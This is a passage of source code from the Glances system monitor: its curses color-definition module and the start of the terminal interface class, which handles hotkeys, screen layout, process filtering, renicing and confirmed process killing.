  {
    "path": "glances/outputs/glances_colors.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Glances colors.\"\"\"\n\nimport sys\n\nfrom glances.logger import logger\n\ntry:\n    import curses\nexcept ImportError:\n    logger.critical(\"Curses module not found. Glances cannot start in standalone mode.\")\n    sys.exit(1)\n\n\nclass GlancesColors:\n    \"\"\"Class to manage colors in Glances UI\n    For the moment limited to Curses interface.\n    But will be used in the WebUI through the issue #2048\"\"\"\n\n    def __init__(self, args) -> None:\n        self.args = args\n\n        # Define \"home made\" bold\n        self.A_BOLD = 0 if args.disable_bold else curses.A_BOLD\n\n        # Set defaults curses colors\n        try:\n            if hasattr(curses, 'start_color'):\n                curses.start_color()\n                logger.debug(f'Curses interface compatible with {curses.COLORS} colors')\n            if hasattr(curses, 'use_default_colors'):\n                # Use -1 to use the default foregound/background color\n                curses.use_default_colors()\n            if hasattr(curses, 'assume_default_colors'):\n                # Define the color index 0 with -1 and -1 for foregound/background\n                # = curses.init_pair(0, -1, -1)\n                curses.assume_default_colors(-1, -1)\n        except Exception as e:\n            logger.warning(f'Error initializing terminal color ({e})')\n\n        if curses.has_colors():\n            # The screen is compatible with a colored design\n            # ex: export TERM=xterm-256color\n            #     export TERM=xterm-color\n            self.__define_colors()\n        else:\n            # The screen is NOT compatible with a colored design\n            # switch to B&W text styles\n            # ex: export TERM=xterm-mono\n            self.__define_bw()\n\n    def __repr__(self) -> dict:\n        return self.get()\n\n    def __define_colors(self) -> None:\n        curses.init_pair(1, -1, -1)\n        if self.args.disable_bg:\n            curses.init_pair(2, curses.COLOR_RED, -1)\n            curses.init_pair(3, curses.COLOR_GREEN, -1)\n            curses.init_pair(5, curses.COLOR_MAGENTA, -1)\n        else:\n            curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_RED)\n            curses.init_pair(3, curses.COLOR_WHITE, curses.COLOR_GREEN)\n            curses.init_pair(5, curses.COLOR_WHITE, curses.COLOR_MAGENTA)\n        curses.init_pair(4, curses.COLOR_BLUE, -1)\n        curses.init_pair(6, curses.COLOR_RED, -1)\n        curses.init_pair(7, curses.COLOR_GREEN, -1)\n        curses.init_pair(8, curses.COLOR_MAGENTA, -1)\n\n        # Colors text styles\n        self.DEFAULT = curses.color_pair(1)\n        self.OK_LOG = curses.color_pair(3) | self.A_BOLD\n        self.CAREFUL_LOG = curses.color_pair(4) | self.A_BOLD\n        self.WARNING_LOG = curses.color_pair(5) | self.A_BOLD\n        self.CRITICAL_LOG = curses.color_pair(2) | self.A_BOLD\n        self.OK = curses.color_pair(7)\n        self.CAREFUL = curses.color_pair(4)\n        self.WARNING = curses.color_pair(8) | self.A_BOLD\n        self.CRITICAL = curses.color_pair(6) | self.A_BOLD\n        self.INFO = curses.color_pair(4)\n        self.CPU_TIME = curses.color_pair(8)\n        self.FILTER = self.A_BOLD\n        self.SELECTED = self.A_BOLD\n        self.SEPARATOR = curses.color_pair(1)\n\n        if curses.COLORS > 8:\n            # ex: export TERM=xterm-256color\n            try:\n                curses.init_pair(9, curses.COLOR_CYAN, -1)\n                curses.init_pair(10, curses.COLOR_YELLOW, -1)\n            except Exception:\n                curses.init_pair(9, -1, -1)\n                curses.init_pair(10, -1, -1)\n            self.FILTER = curses.color_pair(9) | self.A_BOLD\n            self.SELECTED = curses.color_pair(10) | self.A_BOLD\n\n            # Define separator line style\n            try:\n                curses.init_color(11, 500, 500, 500)\n                curses.init_pair(11, curses.COLOR_BLACK, -1)\n                self.SEPARATOR = curses.color_pair(11)\n            except Exception:\n                # Catch exception in TMUX\n                pass\n\n            # Overwrite CAREFUL color\n            try:\n                if self.args.disable_bg:\n                    curses.init_pair(12, curses.COLOR_BLUE, -1)\n                else:\n                    curses.init_pair(12, -1, curses.COLOR_BLUE)\n            except Exception:\n                pass\n            else:\n                self.CAREFUL_LOG = curses.color_pair(12) | self.A_BOLD\n\n    def __define_bw(self) -> None:\n        # The screen is NOT compatible with a colored design\n        # switch to B&W text styles\n        # ex: export TERM=xterm-mono\n        self.DEFAULT = -1\n        self.OK_LOG = -1\n        self.CPU_TIME = self.A_BOLD\n        self.CAREFUL_LOG = self.A_BOLD\n        self.WARNING_LOG = curses.A_UNDERLINE\n        self.CRITICAL_LOG = curses.A_REVERSE\n        self.OK = -1\n        self.CAREFUL = self.A_BOLD\n        self.WARNING = curses.A_UNDERLINE\n        self.CRITICAL = curses.A_REVERSE\n        self.INFO = self.A_BOLD\n        self.FILTER = self.A_BOLD\n        self.SELECTED = self.A_BOLD\n        self.SEPARATOR = -1\n\n    def get(self) -> dict:\n        return {\n            'DEFAULT': self.DEFAULT,\n            'UNDERLINE': curses.A_UNDERLINE,\n            'BOLD': self.A_BOLD,\n            'SORT': curses.A_UNDERLINE | self.A_BOLD,\n            'OK': self.OK,\n            'MAX': self.OK | self.A_BOLD,\n            'FILTER': self.FILTER,\n            'TITLE': self.A_BOLD,\n            'PROCESS': self.OK,\n            'PROCESS_SELECTED': self.OK | curses.A_UNDERLINE,\n            'STATUS': self.OK,\n            'CPU_TIME': self.CPU_TIME,\n            'CAREFUL': self.CAREFUL,\n            'WARNING': self.WARNING,\n            'CRITICAL': self.CRITICAL,\n            'OK_LOG': self.OK_LOG,\n            'CAREFUL_LOG': self.CAREFUL_LOG,\n            'WARNING_LOG': self.WARNING_LOG,\n            'CRITICAL_LOG': self.CRITICAL_LOG,\n            'PASSWORD': curses.A_PROTECT,\n            'SELECTED': self.SELECTED,\n            'INFO': self.INFO,\n            'ERROR': self.SELECTED,\n            'SEPARATOR': self.SEPARATOR,\n        }\n"
  },
  {
    "path": "glances/outputs/glances_curses.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Curses interface class.\"\"\"\n\nimport functools\nimport getpass\nimport sys\n\nfrom glances.events_list import glances_events\nfrom glances.globals import MACOS, WINDOWS, disable, enable, nativestr, u\nfrom glances.logger import logger\nfrom glances.outputs.glances_colors import GlancesColors\nfrom glances.outputs.glances_unicode import unicode_message\nfrom glances.processes import glances_processes, sort_processes_stats_list\nfrom glances.timer import Timer\n\n# Import curses library for \"normal\" operating system\ntry:\n    import curses\n    import curses.panel\n    from curses.textpad import Textbox\nexcept ImportError:\n    logger.critical(\"Curses module not found. Glances cannot start in standalone mode.\")\n    if WINDOWS:\n        logger.critical(\"For Windows you can try installing windows-curses with pip install.\")\n    sys.exit(1)\n\n\nclass _GlancesCurses:\n    \"\"\"This class manages the curses display (and key pressed).\n\n    Note: It is a private class, use GlancesCursesClient or GlancesCursesBrowser.\n    \"\"\"\n\n    _hotkeys = {\n        '\\n': {'handler': '_handle_enter'},\n        '0': {'switch': 'disable_irix'},\n        '1': {'switch': 'percpu'},\n        '2': {'switch': 'disable_left_sidebar'},\n        '3': {'switch': 'disable_quicklook'},\n        '4': {'handler': '_handle_quicklook'},\n        '5': {'handler': '_handle_top_menu'},\n        '6': {'switch': 'meangpu'},\n        '7': {'switch': 'disable_npu'},\n        '/': {'switch': 'process_short_name'},\n        'a': {'sort_key': 'auto'},\n        'A': {'switch': 'disable_amps'},\n        'b': {'switch': 'byte'},\n        'B': {'handler': '_handle_diskio_iops'},\n        'c': {'sort_key': 'cpu_percent'},\n        'C': {'switch': 'disable_cloud'},\n        'd': {'switch': 'disable_diskio'},\n        'D': {'switch': 'disable_containers'},\n        # 'e' > Enable/Disable process extended\n        'E': {'handler': '_handle_erase_filter'},\n        'f': {'handler': '_handle_fs_stats'},\n        'F': {'switch': 'fs_free_space'},\n        'g': {'switch': 'generate_graph'},\n        'G': {'switch': 'disable_gpu'},\n        'h': {'switch': 'help_tag'},\n        'i': {'sort_key': 'io_counters'},\n        'I': {'switch': 'disable_ip'},\n        'j': {'switch': 'programs'},\n        # 'k' > Kill selected process\n        'K': {'switch': 'disable_connections'},\n        'l': {'switch': 'disable_alert'},\n        'L': {'handler': '_handle_diskio_latency'},\n        'm': {'sort_key': 'memory_percent'},\n        'M': {'switch': 'reset_minmax_tag'},\n        'n': {'switch': 'disable_network'},\n        'N': {'switch': 'disable_now'},\n        'o': {'sort_key': 'cpu_num'},\n        'p': {'sort_key': 'name'},\n        'P': {'switch': 'disable_ports'},\n        # 'q' or ESCAPE > Quit\n        'Q': {'switch': 'enable_irq'},\n        'r': {'switch': 'disable_smart'},\n        'R': {'switch': 'disable_raid'},\n        's': {'switch': 'disable_sensors'},\n        'S': {'switch': 'sparkline'},\n        't': {'sort_key': 'cpu_times'},\n        'T': {'switch': 'network_sum'},\n        'u': {'sort_key': 'username'},\n        'U': {'switch': 'network_cumul'},\n        'V': {'switch': 'disable_vms'},\n        'w': {'handler': '_handle_clean_logs'},\n        'W': {'switch': 'disable_wifi'},\n        'x': {'handler': '_handle_clean_critical_logs'},\n        'z': {'handler': '_handle_disable_process'},\n        '+': {'handler': '_handle_increase_nice'},\n        '-': {'handler': '_handle_decrease_nice'},\n        # \"<\" (shift + left arrow) navigation through process sort\n        # \">\" (shift + right arrow) navigation through process sort\n        # \"<\" (left arrow) scroll through process name\n        # \">\" (right arrow) scroll through process name\n        # 'UP' > Up in the server list\n        # 'DOWN' > Down in the server list\n    }\n\n    _sort_loop = sort_processes_stats_list\n\n    # Define top menu\n    _top = ['quicklook', 'cpu', 'percpu', 'npu', 'gpu', 'mem', 'memswap', 'load']\n    _quicklook_max_width = 58\n\n    # Define left sidebar\n    # This variable is used in the make webui task in order to generate the\n    # glances/outputs/static/js/uiconfig.json file for the web interface\n    # This list can also be overwritten by the configuration file ([outputs] left_menu option)\n    _left_sidebar = [\n        'network',\n        'ports',\n        'wifi',\n        'connections',\n        'diskio',\n        'fs',\n        'irq',\n        'folders',\n        'raid',\n        'smart',\n        'sensors',\n        'now',\n    ]\n    _left_sidebar_min_width = 23\n    _left_sidebar_max_width = 34\n\n    # Define right sidebar in a method because it depends of self.args.programs\n    # See def _right_sidebar method\n\n    def __init__(self, config=None, args=None):\n        # Init\n        self.config = config\n        self.args = args\n\n        # Init windows positions\n        self.term_w = 80\n        self.term_h = 24\n\n        # Space between stats\n        self.space_between_column = 3\n        self.space_between_line = 2\n\n        # Init the curses screen\n        try:\n            self.screen = curses.initscr()\n            if not self.screen:\n                logger.critical(\"Cannot init the curses library.\\n\")\n                sys.exit(1)\n            else:\n                logger.debug(f\"Curses library initialized with term: {curses.longname()}\")\n        except Exception as e:\n            if args.export:\n                logger.info(\"Cannot init the curses library, quiet mode on and export.\")\n                args.quiet = True\n                return\n\n            logger.critical(f\"Cannot init the curses library ({e})\")\n            sys.exit(1)\n\n        # Load configuration file\n        self.load_config(config)\n\n        # Init Curses cursor\n        self._init_curses_cursor()\n\n        # Init the colors\n        self.colors_list = GlancesColors(args).get()\n\n        # Init main window\n        self.term_window = self.screen.subwin(0, 0)\n\n        # Init edit filter tag\n        self.edit_filter = False\n\n        # Init nice increase/decrease tag\n        self.increase_nice_process = False\n        self.decrease_nice_process = False\n\n        # Init kill process tag\n        self.kill_process = False\n\n        # Init the process min/max reset\n        self.args.reset_minmax_tag = False\n\n        # Init Glances cursor\n        self.args.cursor_position = 0\n        self.args.cursor_process_name_position = 0\n\n        # For the moment cursor only available in standalone mode\n        self.args.disable_cursor = not self.args.is_standalone\n\n        # Catch key pressed with non blocking mode\n        self.term_window.keypad(1)\n        self.term_window.nodelay(1)\n        self.pressedkey = -1\n\n        # Is this the end ?\n        self.is_end = False\n\n        # History tag\n        self._init_history()\n\n    def load_config(self, config):\n        \"\"\"Load the outputs section of the configuration file.\"\"\"\n        if config is not None and config.has_section('outputs'):\n            logger.debug('Read the outputs section in the configuration file')\n            # Separator\n            self.args.enable_separator = config.get_bool_value(\n                'outputs', 'separator', default=self.args.enable_separator\n            )\n            # Set the left sidebar list\n            self._left_sidebar = config.get_list_value('outputs', 'left_menu', default=self._left_sidebar)\n            # Background color\n            self.args.disable_bg = config.get_bool_value('outputs', 'disable_bg', default=self.args.disable_bg)\n\n    def _right_sidebar(self):\n        return [\n            'vms',\n            'containers',\n            'processcount',\n            'amps',\n            'programlist' if self.args.programs else 'processlist',\n            'alert',\n        ]\n\n    def _init_history(self):\n        \"\"\"Init the history option.\"\"\"\n\n        self.reset_history_tag = False\n\n    def _init_curses_cursor(self):\n        \"\"\"Init cursors.\"\"\"\n\n        if hasattr(curses, 'noecho'):\n            curses.noecho()\n        if hasattr(curses, 'cbreak'):\n            curses.cbreak()\n        self.set_cursor(0)\n\n    def set_cursor(self, value):\n        \"\"\"Configure the curse cursor appearance.\n\n        0: invisible\n        1: visible\n        2: very visible\n        \"\"\"\n        if hasattr(curses, 'curs_set'):\n            try:\n                curses.curs_set(value)\n            except Exception:\n                pass\n\n    def get_key(self, window):\n        return window.getch()\n\n    def catch_actions_from_hotkey(self, hotkey):\n        if self.pressedkey == ord(hotkey) and 'switch' in self._hotkeys[hotkey]:\n            self._handle_switch(hotkey)\n        elif self.pressedkey == ord(hotkey) and 'sort_key' in self._hotkeys[hotkey]:\n            self._handle_sort_key(hotkey)\n        if self.pressedkey == ord(hotkey) and 'handler' in self._hotkeys[hotkey]:\n            action = getattr(self, self._hotkeys[hotkey]['handler'])\n            action()\n\n    def catch_other_actions_maybe_return_to_browser(self, return_to_browser):\n        {\n            self.pressedkey in {ord('e')} and not self.args.programs: self._handle_process_extended,\n            self.pressedkey in {ord('k')} and not self.args.disable_cursor: self._handle_kill_process,\n            self.pressedkey\n            in {curses.KEY_LEFT if self.args.arrow_keys_sort else curses.KEY_SLEFT}: self._handle_sort_left,\n            self.pressedkey\n            in {curses.KEY_RIGHT if self.args.arrow_keys_sort else curses.KEY_SRIGHT}: self._handle_sort_right,\n            self.pressedkey\n            in {curses.KEY_SLEFT if self.args.arrow_keys_sort else curses.KEY_LEFT}: self._handle_process_name_left,\n            self.pressedkey\n            in {curses.KEY_SRIGHT if self.args.arrow_keys_sort else curses.KEY_RIGHT}: self._handle_process_name_right,\n            self.pressedkey in {curses.KEY_UP, 65} and not self.args.disable_cursor: self._handle_cursor_up,\n            self.pressedkey in {curses.KEY_DOWN, 66} and not self.args.disable_cursor: self._handle_cursor_down,\n            self.pressedkey in {curses.KEY_F5, 18}: self._handle_refresh,\n            self.pressedkey in {ord('\\x1b'), ord('q')}: functools.partial(self._handle_quit, return_to_browser),\n        }.get(True, lambda: None)()\n\n    def __catch_key(self, return_to_browser=False):\n        # Catch the pressed key\n        self.pressedkey = self.get_key(self.term_window)\n        if self.pressedkey == -1:\n            return self.pressedkey\n\n        # Actions (available in the global hotkey dict)...\n        logger.debug(f\"Keypressed (code: {self.pressedkey})\")\n        [self.catch_actions_from_hotkey(hotkey) for hotkey in self._hotkeys]\n\n        # Other actions with key > 255 (ord will not work) and/or additional test...\n        self.catch_other_actions_maybe_return_to_browser(return_to_browser)\n\n        # Return the key code\n        return self.pressedkey\n\n    def _handle_switch(self, hotkey):\n        option = '_'.join(self._hotkeys[hotkey]['switch'].split('_')[1:])\n        if self._hotkeys[hotkey]['switch'].startswith('disable_'):\n            if getattr(self.args, self._hotkeys[hotkey]['switch']):\n                enable(self.args, option)\n            else:\n                disable(self.args, option)\n        elif self._hotkeys[hotkey]['switch'].startswith('enable_'):\n            if getattr(self.args, self._hotkeys[hotkey]['switch']):\n                disable(self.args, option)\n            else:\n                enable(self.args, option)\n        else:\n            setattr(\n                self.args,\n                self._hotkeys[hotkey]['switch'],\n                not getattr(self.args, self._hotkeys[hotkey]['switch']),\n            )\n\n    def _handle_sort_key(self, hotkey):\n        glances_processes.set_sort_key(self._hotkeys[hotkey]['sort_key'], self._hotkeys[hotkey]['sort_key'] == 'auto')\n\n    def _handle_enter(self):\n        self.edit_filter = not self.edit_filter\n\n    def _handle_quicklook(self):\n        self.args.full_quicklook = not self.args.full_quicklook\n        if self.args.full_quicklook:\n            self.enable_fullquicklook()\n        else:\n            self.disable_fullquicklook()\n\n    def _handle_top_menu(self):\n        self.args.disable_top = not self.args.disable_top\n        if self.args.disable_top:\n            self.disable_top()\n        else:\n            self.enable_top()\n\n    def _handle_process_extended(self):\n        self.args.enable_process_extended = not self.args.enable_process_extended\n        if not self.args.enable_process_extended:\n            glances_processes.disable_extended()\n        else:\n            glances_processes.enable_extended()\n        self.args.disable_cursor = self.args.enable_process_extended and self.args.is_standalone\n\n    def _handle_erase_filter(self):\n        glances_processes.process_filter = None\n\n    def _handle_fs_stats(self):\n        self.args.disable_fs = not self.args.disable_fs\n        self.args.disable_folders = not self.args.disable_folders\n\n    def _handle_increase_nice(self):\n        self.increase_nice_process = not self.increase_nice_process\n\n    def _handle_decrease_nice(self):\n        self.decrease_nice_process = not self.decrease_nice_process\n\n    def _handle_kill_process(self):\n        self.kill_process = not self.kill_process\n\n    def _handle_process_name_left(self):\n        if self.args.cursor_process_name_position > 0:\n            self.args.cursor_process_name_position -= 1\n\n    def _handle_process_name_right(self):\n        self.args.cursor_process_name_position += 1\n\n    def _handle_clean_logs(self):\n        glances_events.clean()\n\n    def _handle_clean_critical_logs(self):\n        glances_events.clean(critical=True)\n\n    def _handle_disable_process(self):\n        self.args.disable_process = not self.args.disable_process\n        if self.args.disable_process:\n            glances_processes.disable()\n        else:\n            glances_processes.enable()\n\n    def _handle_diskio_iops(self):\n        \"\"\"Switch between bytes/s and IOPS for Disk IO.\"\"\"\n        self.args.diskio_iops = not self.args.diskio_iops\n        if self.args.diskio_iops:\n            self.args.diskio_latency = False\n\n    def _handle_diskio_latency(self):\n        \"\"\"Switch between bytes/s and latency for Disk IO.\"\"\"\n        self.args.diskio_latency = not self.args.diskio_latency\n        if self.args.diskio_latency:\n            self.args.diskio_iops = False\n\n    def _handle_sort_left(self):\n        next_sort = (self.loop_position() - 1) % len(self._sort_loop)\n        glances_processes.set_sort_key(self._sort_loop[next_sort], False)\n\n    def _handle_sort_right(self):\n        next_sort = (self.loop_position() + 1) % len(self._sort_loop)\n        glances_processes.set_sort_key(self._sort_loop[next_sort], False)\n\n    def _handle_cursor_up(self):\n        if self.args.cursor_position > 0:\n            self.args.cursor_position -= 1\n\n    def _handle_cursor_down(self):\n        if self.args.cursor_position < glances_processes.processes_count:\n            self.args.cursor_position += 1\n\n    def _handle_quit(self, return_to_browser):\n        if return_to_browser:\n            logger.info(\"Stop Glances client and return to the browser\")\n        else:\n            logger.info(f\"Stop Glances (keypressed: {self.pressedkey})\")\n            # End the curses window\n            self.end()\n            # Exit the program\n            sys.exit(0)\n\n    def _handle_refresh(self):\n        glances_processes.reset_internal_cache()\n\n    def loop_position(self):\n        \"\"\"Return the current sort in the loop\"\"\"\n        for i, v in enumerate(self._sort_loop):\n            if v == glances_processes.sort_key:\n                return i\n        return 0\n\n    def disable_top(self):\n        \"\"\"Disable the top panel\"\"\"\n        for p in self._top:\n            setattr(self.args, 'disable_' + p, True)\n\n    def enable_top(self):\n        \"\"\"Enable the top panel\"\"\"\n        for p in self._top:\n            setattr(self.args, 'disable_' + p, False)\n\n    def disable_fullquicklook(self):\n        \"\"\"Disable the full quicklook mode\"\"\"\n        for p in ['quicklook', 'cpu', 'npu', 'gpu', 'mem', 'memswap']:\n            setattr(self.args, 'disable_' + p, False)\n\n    def enable_fullquicklook(self):\n        \"\"\"Disable the full quicklook mode\"\"\"\n        self.args.disable_quicklook = False\n        for p in ['cpu', 'npu', 'gpu', 'mem', 'memswap']:\n            setattr(self.args, 'disable_' + p, True)\n\n    def end(self):\n        \"\"\"Shutdown the curses window.\"\"\"\n        if hasattr(curses, 'echo'):\n            curses.echo()\n        if hasattr(curses, 'nocbreak'):\n            curses.nocbreak()\n        try:\n            curses.curs_set(1)\n        except Exception:\n            pass\n        try:\n            curses.endwin()\n        except Exception:\n            pass\n        self.is_end = True\n\n    def init_line_column(self):\n        \"\"\"Init the line and column position for the curses interface.\"\"\"\n        self.init_line()\n        self.init_column()\n\n    def init_line(self):\n        \"\"\"Init the line position for the curses interface.\"\"\"\n        self.line = 0\n        self.next_line = 0\n\n    def init_column(self):\n        \"\"\"Init the column position for the curses interface.\"\"\"\n        self.column = 0\n        self.next_column = 0\n\n    def new_line(self, separator=False):\n        \"\"\"New line in the curses interface.\"\"\"\n        self.line = self.next_line\n\n    def new_column(self):\n        \"\"\"New column in the curses interface.\"\"\"\n        self.column = self.next_column\n\n    def separator_line(self, color='SEPARATOR'):\n        \"\"\"Add a separator line in the curses interface.\"\"\"\n        if not self.args.enable_separator:\n            return\n        self.new_line()\n        self.line -= 1\n        line_width = self.term_window.getmaxyx()[1] - self.column\n        if self.line >= 0 and self.line < self.term_window.getmaxyx()[0]:\n            position = [self.line, self.column]\n            line_color = self.colors_list[color]\n            line_type = curses.ACS_HLINE if not self.args.disable_unicode else unicode_message('MEDIUM_LINE', self.args)\n            self.term_window.hline(\n                *position,\n                line_type,\n                line_width,\n                line_color,\n            )\n\n    def __get_stat_display(self, stats, layer):\n        \"\"\"Return a dict of dict with all the stats display.\n        # TODO: Drop extra parameter\n\n        :param stats: Global stats dict\n        :param layer: ~ cs_status\n            \"None\": standalone or server mode\n            \"Connected\": Client is connected to a Glances server\n            \"SNMP\": Client is connected to a SNMP server\n            \"Disconnected\": Client is disconnected from the server\n\n        :returns: dict of dict\n            * key: plugin name\n            * value: dict returned by the get_stats_display Plugin method\n        \"\"\"\n        ret = {}\n\n        for p in stats.getPluginsList(enable=False):\n            # Ignore Quicklook because it is compute later in __display_top\n            if p == 'quicklook':\n                continue\n\n            # Compute the plugin max size for the left sidebar\n            plugin_max_width = None\n            if p in self._left_sidebar:\n                plugin_max_width = min(\n                    self._left_sidebar_max_width,\n                    max(self._left_sidebar_min_width, self.term_window.getmaxyx()[1] - 105),\n                )\n\n            # Get the view\n            ret[p] = stats.get_plugin(p).get_stats_display(args=self.args, max_width=plugin_max_width)\n\n        return ret\n\n    def display(self, stats, cs_status=None):\n        \"\"\"Display stats on the screen.\n\n        :param stats: Stats database to display\n        :param cs_status:\n            \"None\": standalone or server mode\n            \"Connected\": Client is connected to a Glances server\n            \"SNMP\": Client is connected to a SNMP server\n            \"Disconnected\": Client is disconnected from the server\n\n        :return: True if the stats have been displayed else False if the help have been displayed\n        \"\"\"\n        # Init the internal line/column for Glances Curses\n        self.init_line_column()\n\n        # Update the stats messages\n        ###########################\n\n        # Get all the plugins view\n        self.args.cs_status = cs_status\n        __stat_display = self.__get_stat_display(stats, layer=cs_status)\n\n        # Display the stats on the curses interface\n        ###########################################\n\n        # Help screen (on top of the other stats)\n        if self.args.help_tag:\n            # Display the stats...\n            self.display_plugin(stats.get_plugin('help').get_stats_display(args=self.args))\n            # ... and exit\n            return False\n\n        # =======================================\n        # Display first line (system+ip+uptime)\n        # Optionally: Cloud is on the second line\n        # =======================================\n        self.__display_header(__stat_display)\n        self.separator_line()\n\n        # ====================================================================\n        # Display second line (<SUMMARY>+CPU|PERCPU+<NPU>+<GPU>+LOAD+MEM+SWAP)\n        # ====================================================================\n        self.__display_top(__stat_display, stats)\n        self.init_column()\n        self.separator_line()\n\n        # ===================================================================\n        # Display left sidebar (NETWORK+PORTS+DISKIO+FS+SENSORS+Current time)\n        # ===================================================================\n        self.__display_left(__stat_display)\n\n        # ====================================\n        # Display right stats (process and co)\n        # ====================================\n        self.__display_right(__stat_display)\n\n        # =====================\n        # Others popup messages\n        # =====================\n\n        # Display edit filter popup\n        # Only in standalone mode (cs_status is None)\n        if self.edit_filter and cs_status is None:\n            new_filter = self.display_popup(\n                'Process filter pattern: \\n\\n'\n                + 'Examples:\\n'\n                + '- .*python.*\\n'\n                + '- /usr/lib.*\\n'\n                + '- name:.*nautilus.*\\n'\n                + '- cmdline:.*glances.*\\n'\n                + '- username:nicolargo\\n'\n                + '- username:^root        ',\n                popup_type='input',\n                input_value=glances_processes.process_filter_input,\n            )\n            glances_processes.process_filter = new_filter\n        elif self.edit_filter and cs_status is not None:\n            self.display_popup('Process filter only available in standalone mode')\n        self.edit_filter = False\n\n        # Manage increase/decrease nice level of the selected process\n        # Only in standalone mode (cs_status is None)\n        if self.increase_nice_process and cs_status is None:\n            self.nice_increase(stats.get_plugin('processlist').get_raw()[self.args.cursor_position])\n        self.increase_nice_process = False\n        if self.decrease_nice_process and cs_status is None:\n            self.nice_decrease(stats.get_plugin('processlist').get_raw()[self.args.cursor_position])\n        self.decrease_nice_process = False\n\n        # Display kill process confirmation popup\n        # Only in standalone mode (cs_status is None)\n        if self.kill_process and cs_status is None:\n            self.kill(stats.get_plugin('processlist').get_raw()[self.args.cursor_position])\n        elif self.kill_process and cs_status is not None:\n            self.display_popup('Kill process only available for local processes')\n        self.kill_process = False\n\n        # Display graph generation popup\n        if self.args.generate_graph:\n            if 'graph' in stats.getExportsList():\n                self.display_popup(f'Generate graph in {self.args.export_graph_path}')\n            else:\n                logger.warning('Graph export module is disable. Run Glances with --export graph to enable it.')\n                self.args.generate_graph = False\n\n        return True\n\n    def nice_increase(self, process):\n        glances_processes.nice_increase(process['pid'])\n\n    def nice_decrease(self, process):\n        glances_processes.nice_decrease(process['pid'])\n\n    def kill(self, process):\n        \"\"\"Kill a process, or a list of process if the process has a childrens field.\n\n        :param process\n        :return: None\n        \"\"\"\n        logger.debug(f\"Selected process to kill: {process}\")\n\n        if 'childrens' in process:\n            pid_to_kill = process['childrens']\n        else:\n            pid_to_kill = [process['pid']]\n\n        confirm = self.display_popup(\n            'Kill process: {} (pid: {}) ?\\n\\nConfirm ([y]es/[n]o): '.format(\n                process['name'],\n                ', '.join(map(str, pid_to_kill)),\n            ),\n            popup_type='yesno',\n        )\n\n        if confirm.lower().startswith('y'):\n            for pid in pid_to_kill:\n                try:\n                    ret_kill = glances_processes.kill(pid)\n                except Exception as e:\n                    logger.error(f'Can not kill process {pid} ({e})')\n                else:\n                    logger.info(f'Kill signal has been sent to process {pid} (return code: {ret_kill})')\n\n    def __display_header(self, stat_display):\n        \"\"\"Display the firsts lines (header) in the Curses interface.\n\n        system + ip + uptime\n        (cloud)\n        \"\"\"\n        # First line\n        self.new_line()\n        l_uptime = 1\n        for i in ['system', 'ip', 'uptime']:\n            if i in stat_display:\n                l_uptime += self.get_stats_display_width(stat_display[i])\n\n        display_system_optional = self.term_window.getmaxyx()[1] >= l_uptime\n\n        # Calculate the initial `space_between_column` based on displayed system messages\n        msgs = stat_display[\"system\"][\"msgdict\"]\n        visible_msgs = [msg for msg in msgs if display_system_optional or not msg[\"optional\"]]\n        ends_with_space = bool(visible_msgs) and visible_msgs[-1][\"msg\"].endswith(\" \")\n        self.space_between_column = 0 if ends_with_space else 1\n\n        self.display_plugin(stat_display[\"system\"], display_optional=display_system_optional)\n        self.space_between_column = 3\n        if 'ip' in stat_display:\n            self.new_column()\n            self.display_plugin(stat_display[\"ip\"], display_optional=(self.term_window.getmaxyx()[1] >= 100))\n        self.new_column()\n        cloud_width = self.get_stats_display_width(stat_display.get(\"cloud\", 0))\n        self.display_plugin(stat_display[\"uptime\"], add_space=-(cloud_width != 0))\n        self.init_column()\n        if cloud_width != 0:\n            # Second line (optional)\n            self.new_line()\n            self.display_plugin(stat_display[\"cloud\"])\n\n    def __display_top(self, stat_display, stats):\n        \"\"\"Display the second line in the Curses interface.\n\n        <QUICKLOOK> + CPU|PERCPU + <NPU> + <GPU> + MEM + SWAP + LOAD\n        \"\"\"\n        self.init_column()\n        self.new_line()\n\n        # Init quicklook\n        stat_display['quicklook'] = {'msgdict': []}\n\n        # Dict for plugins width\n        plugin_widths = {}\n        for p in self._top:\n            plugin_widths[p] = (\n                self.get_stats_display_width(stat_display.get(p, 0)) if hasattr(self.args, 'disable_' + p) else 0\n            )\n\n        # Width of all plugins\n        stats_width = sum(plugin_widths.values())\n\n        # Number of plugin but quicklook\n        stats_number = sum(\n            [int(stat_display[p]['msgdict'] != []) for p in self._top if not getattr(self.args, 'disable_' + p)]\n        )\n\n        if not self.args.disable_quicklook:\n            # Quick look is in the place !\n            if self.args.full_quicklook:\n                quicklook_width = self.term_window.getmaxyx()[1] - (\n                    stats_width + 8 + stats_number * self.space_between_column\n                )\n            else:\n                quicklook_width = min(\n                    self.term_window.getmaxyx()[1] - (stats_width + 8 + stats_number * self.space_between_column),\n                    self._quicklook_max_width - 5,\n                )\n            try:\n                stat_display[\"quicklook\"] = stats.get_plugin('quicklook').get_stats_display(\n                    max_width=quicklook_width, args=self.args\n                )\n            except AttributeError as e:\n                logger.debug(f\"Quicklook plugin not available ({e})\")\n            else:\n                plugin_widths['quicklook'] = self.get_stats_display_width(stat_display[\"quicklook\"])\n                stats_width = sum(plugin_widths.values()) + 1\n            self.space_between_column = 1\n            self.display_plugin(stat_display[\"quicklook\"])\n            self.new_column()\n\n        # Compute spaces between plugins\n        # Note: Only one space between Quicklook and others\n        plugin_display_optional = {}\n        for p in self._top:\n            plugin_display_optional[p] = True\n        if stats_number > 1:\n            self.space_between_column = max(1, int((self.term_window.getmaxyx()[1] - stats_width) / (stats_number - 1)))\n            for p in ['mem', 'cpu']:\n                # No space ? Remove optional stats\n                if self.space_between_column < 3:\n                    plugin_display_optional[p] = False\n                    plugin_widths[p] = (\n                        self.get_stats_display_width(stat_display[p], without_option=True)\n                        if hasattr(self.args, 'disable_' + p)\n                        else 0\n                    )\n                    stats_width = sum(plugin_widths.values()) + 1\n                    self.space_between_column = max(\n                        1, int((self.term_window.getmaxyx()[1] - stats_width) / (stats_number - 1))\n                    )\n        else:\n            self.space_between_column = 0\n\n        # Display CPU, MEM, SWAP and LOAD\n        for p in self._top:\n            if p == 'quicklook':\n                continue\n            if p in stat_display:\n                